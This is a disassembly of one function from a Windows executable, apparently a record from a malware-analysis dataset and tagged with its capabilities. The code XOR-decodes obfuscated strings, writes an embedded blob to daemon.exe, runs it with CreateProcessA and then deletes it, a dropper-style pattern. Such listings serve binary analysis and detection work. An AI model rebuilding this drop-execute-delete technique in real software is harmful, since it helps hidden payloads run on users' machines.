Function at 0x407760
Capabilities:
Create process on windows
Create thread
Delete file
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46db6e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1b8
mov eax, dword [0x4833a8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
push 0x4076f0
push 0
push 0
mov dword [ebp - 0x16c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00405470
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x403d20
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x47e5a4]
mov edi, eax
movups xmm0, xmmword [0x47e594]
mov esi, dword [0x4e2580]
mov eax, 4
mov dword [ebp - 0x174], ecx
mov cx, word [0x47e5a8]
mov word [ebp - 0x170], cx
movups xmmword [ebp - 0x184], xmm0
test ch, ch
je 0x4079a7
xor edx, edx
mov dword [ebp - 0x16c], edx
cmp esi, 2
jl 0x407970
movaps xmm0, xmmword [str.9999999999999999]
movaps xmm4, xmmword [0x47ece0]
movaps xmm3, xmmword [0x47ed80]
movaps xmm6, xmmword [0x47ed00]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov ecx, dword [ebp - 0x1a0]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x184]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x184], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x180]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x180], xmm1
add edx, 8
cmp edx, 0x10
jl 0x407860
mov dword [ebp - 0x16c], edx
cmp edx, 0x16
jge 0x4079a7
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x16c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x184], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x16
jl 0x407970
lea edx, [ebp - 0x184]
mov ecx, edi
call fcn.0040b760
call fcn.00405520
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x403d20
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x47e66c]
mov ecx, dword [0x47e684]
xor edx, edx
mov dword [ebp - 0x174], ecx
mov edi, eax
mov cx, word [0x47e688]
mov word [ebp - 0x170], cx
mov cl, byte [0x47e68a]
mov byte [ebp - 0x16e], cl
mov dword [ebp - 0x16c], edx
movups xmmword [ebp - 0x18c], xmm0
movq xmm0, qword [0x47e67c]
movq qword [ebp - 0x17c], xmm0
cmp esi, 2
jl 0x407b70
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x47ece0]
movaps xmm3, xmmword [0x47ed80]
movaps xmm6, xmmword [0x47ed00]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov ecx, dword [ebp - 0x1a0]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x18c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x18c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x188]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x188], xmm1
add edx, 8
cmp edx, 0x18
jl 0x407a60
mov dword [ebp - 0x16c], edx
cmp edx, 0x1f
jge 0x407ba7
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x16c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x18c], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x1f
jl 0x407b70
lea edx, [ebp - 0x18c]
mov ecx, edi
call fcn.0040b760
call fcn.00406740
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x403cf0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x47e6ac]
mov edi, eax
movups xmmword [ebp - 0x180], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x407d8c
xor edx, edx
mov dword [ebp - 0x16c], edx
cmp esi, 2
jl 0x407d50
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x47ece0]
xor ecx, ecx
movaps xmm3, xmmword [0x47ed80]
movaps xmm6, xmmword [0x47ed00]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov edx, dword [ebp - 0x1a0]
movd xmm7, eax
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x180]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x180], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x17c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x17c], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x407c40
jmp 0x407d8c
mov eax, 0x2f684bdb
mul edx
mov eax, dword [ebp - 0x16c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x16c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x180], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x10
jl 0x407d50
lea edx, [ebp - 0x180]
mov ecx, edi
call fcn.0040b760
lea ecx, [ebp - 0x30]
call fcn.004041d0
mov edi, accept
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x20]
mov eax, edi
sub eax, ecx
cmp eax, 0xb
jb 0x4083e1
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push 0xb
cmovae eax, dword [ebp - 0x30]
push str.daemon.exe
push ecx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x48]
call fcn.0040d310
push 0xb0
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 1
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x110], 0x47e68c
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
lea ecx, [ebp - 0xa8]
cmovae esi, dword [ebp - 0x48]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x16c], 3
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x114], eax
lea eax, [ebp - 0x10c]
mov ecx, eax
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x10c]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0xc4], 0
mov byte [ebp - 0xcf], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4e2598]
mov ecx, dword [0x4e259c]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xd4], 0
push ecx
push 0x22
push esi
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 5
call fcn.0040ad30
test eax, eax
jne 0x407f04
mov eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x110]
push 0
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x114], eax
push 0
push 0x5e800
push 0x483428
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 6
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x10c]
call fcn.0040a1b0
test eax, eax
jne 0x407f71
mov eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x110]
push 0
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov ecx, dword [ebp - 0x20]
sub edi, ecx
cmp edi, 0xb
jb 0x4083e6
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push 0xb
cmovae eax, dword [ebp - 0x30]
push str.daemon.exe
push ecx
push eax
push ecx
push dword [ebp - 0x190]
lea ecx, [ebp - 0x60]
call fcn.0040d310
mov byte [ebp - 4], 7
lea edx, [ebp - 0x168]
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push edx
cmovae eax, dword [ebp - 0x30]
lea edx, [ebp - 0x158]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
push edx
cmovae ecx, dword [ebp - 0x60]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x14c], xmm0
movlpd qword [ebp - 0x144], xmm0
movlpd qword [ebp - 0x13c], xmm0
movlpd qword [ebp - 0x134], xmm0
movlpd qword [ebp - 0x12c], xmm0
movlpd qword [ebp - 0x124], xmm0
movlpd qword [ebp - 0x11c], xmm0
mov dword [ebp - 0x158], 0x44
movups xmmword [ebp - 0x168], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40803d
mov edx, str.__X__CreateProcess_failed__
jmp 0x408064
push 0xffffffffffffffff
push dword [ebp - 0x168]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x168]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
jne 0x408096
mov edx, str.__X__GetExitCodeProcess_failed__
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.0040b760
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov edx, 0x47d3b8
mov ecx, eax
call fcn.0040b760
mov esi, 1
jmp 0x4082f8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._____The_process_exited_with_code
call fcn.0040b760
push dword [ebp - 0x18]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov edx, 0x47d3fc
mov ecx, eax
call fcn.0040b760
push dword [ebp - 0x168]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x164]
call esi
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
cmovae eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x403cc0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x47e720]
mov ecx, dword [0x47e738]
mov esi, eax
mov dword [ebp - 0x1a8], ecx
mov cx, word [0x47e73c]
mov word [ebp - 0x1a4], cx
movups xmmword [ebp - 0x1c0], xmm0
movq xmm0, qword [0x47e730]
movq qword [ebp - 0x1b0], xmm0
test ch, ch
je 0x4082d7
xor edx, edx
cmp dword [0x4e2580], 2
mov dword [ebp - 0x16c], edx
jl 0x4082a0
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x47ece0]
movaps xmm3, xmmword [0x47ed80]
movaps xmm6, xmmword [0x47ed00]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov ecx, dword [ebp - 0x1a0]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x1c0]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x1c0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x1bc]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x1bc], xmm1
add edx, 8
cmp edx, 0x18
jl 0x408190
mov dword [ebp - 0x16c], edx
cmp edx, 0x1e
jge 0x4082d7
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x16c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x1c0], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x1e
jl 0x4082a0
lea edx, [ebp - 0x1c0]
mov ecx, esi
call fcn.0040b760
mov ecx, eax
call fcn.0040b990
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov edx, dword [ebp - 0x4c]
cmp edx, 0x10
jb 0x40832c
mov ecx, dword [ebp - 0x60]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408322
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083b1
push edx
push ecx
call fcn.0046c08d
add esp, 8
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
call fcn.004083f0
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x408379
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40836f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083b1
push edx
push ecx
call fcn.0046c08d
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp edx, 0x10
jb 0x4083c1
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4083b7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4083b7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0046c08d
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046be52
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004011c0
call fcn.004011c0
int3